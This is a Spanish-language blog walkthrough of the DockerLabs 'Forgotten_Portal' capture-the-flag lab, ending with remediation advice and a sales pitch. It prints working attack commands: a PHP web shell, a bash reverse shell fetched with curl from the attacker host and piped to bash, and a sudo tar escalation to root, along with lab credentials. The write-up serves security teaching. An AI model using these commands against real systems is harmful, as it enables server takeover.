Saltar al contenido principal
Lúmina W
Seguridad · 15 min de lectura

Forgotten Portal: Cómo se compromete un servidor desde un comentario en el código fuente.

Imagen de portada: Forgotten Portal: Cómo se compromete un servidor desde un comentario en el código fuente.

No todos los ataques empiezan con exploits de día cero ni herramientas sofisticadas.

A veces basta con que un desarrollador haya dejado un comentario en el HTML.

Este es el walkthrough completo del laboratorio Forgotten_Portal de DockerLabs, desarrollado como parte del acelerador de ciberseguridad en Nodo EAFIT. La metodología aplicada fue PTES (Penetration Testing Execution Standard). El objetivo: comprometer la máquina completamente y documentar cada decisión técnica como si fuera un entorno real.

Llegamos a root. El camino fue más instructivo que el destino.


Entorno de trabajo.

La máquina objetivo fue desplegada como contenedor Docker directamente dentro de Kali Linux en VirtualBox, usando el script de despliegue automático de DockerLabs:

sudo bash auto_deploy.sh forgotten_portal.tar

Una vez desplegada, la máquina quedó activa en la red interna de Docker con la IP 172.17.0.2. El equipo atacante (Kali Linux) operó desde 10.0.2.15.

Herramientas utilizadas:

HerramientaPropósito
nmapEscaneo de puertos y servicios
gobusterEnumeración de directorios web
netcatRecepción de reverse shell
python3Servidor HTTP temporal
base64Decodificación de credenciales
tar + GTFOBinsEscalación de privilegios

Fase 1: Exploración.

Verificación de disponibilidad.

Antes de cualquier acción, se verificó que el objetivo estuviera activo:

ping -c 1 172.17.0.2

El TTL de la respuesta fue 64, lo que indica sistema operativo Linux. La máquina estaba activa y accesible.

Escaneo de puertos con Nmap.

Se realizó un escaneo completo sobre todos los puertos TCP con detección de versiones y scripts de reconocimiento:

nmap -p- -sVC --min-rate 5000 -vvv -n -Pn 172.17.0.2

Output del escaneo Nmap sobre Forgotten Portal

Resultado:

PuertoProtocoloServicioVersión
22TCPSSHOpenSSH 9.6p1 Ubuntu
80TCPHTTPApache httpd 2.4.58

El puerto 22 requería credenciales para entrar. El puerto 80 exponía una aplicación web accesible sin autenticación, vector de ataque principal.


Fase 2: Análisis.

Servicio web en el puerto 80.

Al acceder a http://172.17.0.2/ desde Firefox, se encontró el sitio CyberLand Labs, una interfaz visual sin funcionalidad de subida de archivos visible ni rutas adicionales en la navegación.

Aparentemente sin nada interesante. La clave estaba debajo de la superficie.

Hallazgo 1: Comentario sensible en el código fuente.

Al revisar el código fuente con las herramientas de desarrollo del navegador, se encontró un comentario HTML que no debería existir en ningún entorno de producción:

Comentario en el código fuente

Un solo comentario expuso dos datos críticos:

Dato expuestoValorRelevancia
Usuario del sistemaBobPosible usuario válido para SSH
Ruta ocultam4ch1n3_upload.htmlPágina con funcionalidad de subida

Esto es una vulnerabilidad de exposición de información sensible. Cualquier usuario puede leer el código fuente de una página HTML desde el navegador sin autenticarse.

Hallazgo 2: Formulario de subida con .php permitido.

Al acceder a http://172.17.0.2/m4ch1n3_upload.html, se encontró un portal de documentos con un formulario de subida. Los tipos de archivo soportados eran:

ExtensiónTipo¿Debería estar permitido?
.txtTexto plano
.pdfDocumento
.phpCódigo ejecutableNo

Los archivos .php no son documentos, son código que el servidor ejecuta directamente. Permitir su subida es una vulnerabilidad crítica de tipo File Upload que puede derivar en Remote Code Execution (RCE).

Hallazgo 3: Enumeración de directorios con Gobuster.

Para identificar rutas no visibles en la navegación, se ejecutó:

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

El escaneo procesó 220.558 palabras y encontró dos rutas relevantes:

RutaEstadoSignificado
/uploads301Existe y redirige, aquí se almacenan los archivos subidos
/server-status403Existe pero con acceso denegado

El directorio /uploads confirmó dónde vivirían los archivos subidos a través del formulario. La trampa estaba lista.


Fase 3: Ataque.

Paso 1: Creación de la web shell.

Se creó un archivo shell.php con una sola línea que convierte cualquier parámetro de URL en un comando ejecutado por el servidor:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Paso 2: Carga al servidor.

El archivo se subió a través del formulario en /m4ch1n3_upload.html. El servidor lo aceptó sin restricción y confirmó la carga exitosa. Al verificar /uploads, shell.php ya estaba ahí.

Paso 3: Verificación de ejecución remota.

Para confirmar que la web shell funcionaba, se ejecutó whoami remotamente:

curl http://172.17.0.2/uploads/shell.php?cmd=whoami

Verificación de la web shell con curl

Ejecución remota confirmada. El servidor ejecutó el comando como si lo hubiéramos escrito en su terminal.

Paso 4: Obtención de la reverse shell.

Una web shell básica es útil pero limitada. Para obtener una terminal interactiva completa se configuró una reverse shell en tres pasos:

1. Crear el payload en Kali:

echo 'bash -i >& /dev/tcp/10.0.2.15/443 0>&1' > rev.sh

2. Levantar un servidor HTTP temporal para servirlo:

python3 -m http.server 8080

3. Poner Kali a escuchar en el puerto 443:

nc -nlvp 443

4. Ejecutar desde la web shell:

curl "http://172.17.0.2/uploads/shell.php?cmd=curl+http://10.0.2.15:8080/rev.sh|bash"

La máquina objetivo descargó y ejecutó el payload. Kali recibió la conexión entrante como www-data.

Paso 5: Estabilización de la shell.

Una reverse shell básica es frágil, sin autocompletado, sin flechas, un Ctrl+C la cierra. Se estabilizó así:

script /dev/null -c bash
# Ctrl+Z para suspender
stty raw -echo; fg
export TERM=xterm

Terminal completamente funcional dentro del servidor.


Fase 4: Acceso profundo.

Reconocimiento interno.

Con acceso como www-data, se empezó a mapear el sistema para encontrar rutas de escalación.

Usuarios del sistema identificados en /etc/passwd:

UsuarioShellAccesible desde www-data
alice/bin/bashNo
bob/bin/bashNo
charlie/bin/bashNo
cyberland/bin/shNo
ubuntu/bin/bashNo

Los binarios SUID no mostraron vectores prometedores, todos eran estándar de Ubuntu.

Hallazgo clave: Credenciales en el access_log.

Al explorar el directorio raíz del servidor web (/var/www/html), se encontró un archivo llamado access_log. Dentro había una línea que no debería existir en ningún log:

El access_log con la credencial en Base64

Una credencial codificada en Base64 dentro de un log accesible. Base64 no es cifrado, es codificación reversible que cualquier atacante puede revertir en segundos:

echo "YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3" | base64 -d

Resultado: alice:s3cr3tp@ssw0rd^487

Credenciales obtenidas sin fuerza bruta ni técnicas avanzadas.

Movimiento lateral: alice.

su alice
# Password: s3cr3tp@ssw0rd^487

Acceso exitoso. En el directorio de alice se encontraron cuatro archivos de interés:

ArchivoRelevancia
user.txtFlag de nivel usuario
.ssh/Directorio con claves SSH
incidents/Reportes internos del sistema
.bash_historyHistorial de comandos

La flag de usuario: CYBERLAND{us3r_l3v3l_fl4g}

El reporte de incidentes que lo cambió todo.

El directorio incidents/ contenía un reporte interno de auditoría. Su contenido reveló una configuración errónea crítica:

Una única clave id_rsa fue generada y replicada en todos los directorios /home/<usuario>/.ssh/ del sistema. Adicionalmente, la passphrase del usuario bob quedó expuesta accidentalmente en un archivo temporal.

DatoValor
Clave privada/home/alice/.ssh/id_rsa
Passphrase de bobcyb3r_s3curity

Movimiento lateral: bob.

SSH rechazó la clave inicialmente porque los permisos eran demasiado abiertos. Se corrigió:

chmod 600 .ssh/id_rsa
ssh -i .ssh/id_rsa -o PreferredAuthentications=publickey bob@localhost
# Passphrase: cyb3r_s3curity

Acceso como bob confirmado. La misma clave privada funcionó para un usuario completamente diferente.

Escalación de privilegios a root.

Se verificaron los permisos sudo de bob:

sudo -l

Resultado: (ALL) NOPASSWD: /bin/tar

Bob podía ejecutar tar como root sin contraseña. Consultando GTFOBins, se identificó que tar puede abusarse para obtener una shell como root mediante checkpoints:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Resultado: whoamiroot

La flag del root


Lo que esto significa en un entorno real.

Este laboratorio no usó exploits sofisticados. Cada paso aprovechó errores humanos y de configuración que existen en sistemas de producción reales:

Comentario en el código fuente → expuso la ruta de ataque principal antes de que tocáramos nada.

Extensión .php permitida en el formulario → convirtió un formulario de documentos en una puerta de entrada al servidor.

Credenciales en Base64 dentro de un log → eliminó la necesidad de fuerza bruta completamente.

Clave SSH replicada entre usuarios → anuló el propósito de la autenticación por clave.

tar con sudo sin contraseña → un binario legítimo del sistema operativo se convirtió en el vector de escalación final.

Un atacante real con acceso a esta máquina habría tenido control total del servidor en menos de una hora. Sin alertas. Sin detección.


Recomendaciones.

Formulario de subida: restringir extensiones a .txt y .pdf únicamente. Almacenar los archivos fuera del directorio raíz del servidor para que no sean ejecutables desde el navegador.

Código fuente: ningún comentario con rutas, usuarios o información interna debe llegar a producción. Es desarrollo seguro básico.

Credenciales: las contraseñas no se guardan en logs. Base64 no es cifrado. Para almacenamiento seguro: bcrypt o Argon2.

Claves SSH: cada usuario debe tener su propia clave única. Una clave replicada entre todos los usuarios del sistema no ofrece ninguna protección real.

Permisos sudo: principio de mínimo privilegio. Si tar no es necesario como root, no debe estarlo.

El informe técnico completo está disponible en GitHub.

Este ejercicio fue desarrollado en un entorno controlado con fines académicos dentro del acelerador de ciberseguridad de Nodo EAFIT. Todas las actividades se realizaron sobre infraestructura propia sin afectar sistemas reales ni terceros.


Lo que esto le costaría a una empresa real.

El laboratorio Forgotten_Portal es ficticio. Las vulnerabilidades no lo son.

Cada uno de los cinco errores que permitieron comprometer este servidor existe hoy en sistemas de producción reales. No en empresas descuidadas ni en startups sin recursos, en organizaciones de todos los tamaños que simplemente nunca hicieron la pregunta correcta: ¿qué pasa si alguien mira con cuidado?

El atacante no necesitó nada especial.

No hubo exploits de día cero. No hubo ingeniería social sofisticada. No hubo semanas de reconocimiento. Un comentario en el HTML, un formulario mal configurado y un archivo de log con una contraseña en Base64 fueron suficientes para obtener control total del servidor en menos de una hora.

Eso es lo que hace que este escenario sea relevante: la mayoría de los ataques reales se parecen más a esto que a las películas.

Qué pierde una organización cuando esto ocurre.

Continuidad operativa. Con acceso root, un atacante puede apagar servicios, cifrar información o simplemente mantenerse invisible durante meses mientras extrae datos. El tiempo promedio que un atacante permanece dentro de un sistema antes de ser detectado supera los 200 días según múltiples reportes de la industria. Durante ese tiempo, opera con total libertad.

Datos de usuarios. Cualquier información almacenada en el servidor, bases de datos, archivos, correos, credenciales, está comprometida desde el momento en que el atacante obtiene acceso. En Colombia, la Ley 1581 de Protección de Datos Personales establece obligaciones de notificación y puede derivar en sanciones. En contextos internacionales, el GDPR puede implicar multas de hasta el 4% de la facturación anual.

Reputación. Este es el daño más difícil de cuantificar y el más lento de recuperar. Un incidente de seguridad público destruye la confianza de clientes, aliados e inversionistas de una forma que ningún comunicado de prensa puede reparar rápidamente.

Lo que hace diferente a una organización preparada.

No es el presupuesto. No es el tamaño del equipo de TI.

Es haber respondido antes del incidente estas preguntas básicas:

Todas las vulnerabilidades documentadas en este writeup se corrigen con configuración, no con inversión. El comentario en el HTML se elimina antes de hacer deploy. El formulario se restringe a extensiones seguras. Las credenciales se almacenan con cifrado real. Las claves SSH se generan individualmente. Los permisos sudo se revisan.

La seguridad no empieza con herramientas. Empieza con decisiones.

Una última cosa.

Si llegaste hasta aquí leyendo este post, probablemente estás construyendo algo, un producto, una aplicación, una plataforma. Antes de lanzarlo, vale la pena hacer una pregunta incómoda: ¿qué encontraría alguien que mire con cuidado?

Si quieres saberlo antes que un atacante, hablemos.

¿Tienes un proyecto en mente?

Construimos software a medida, SaaS y soluciones digitales para empresas que quieren crecer.

Trabajemos juntos
Volver al inicio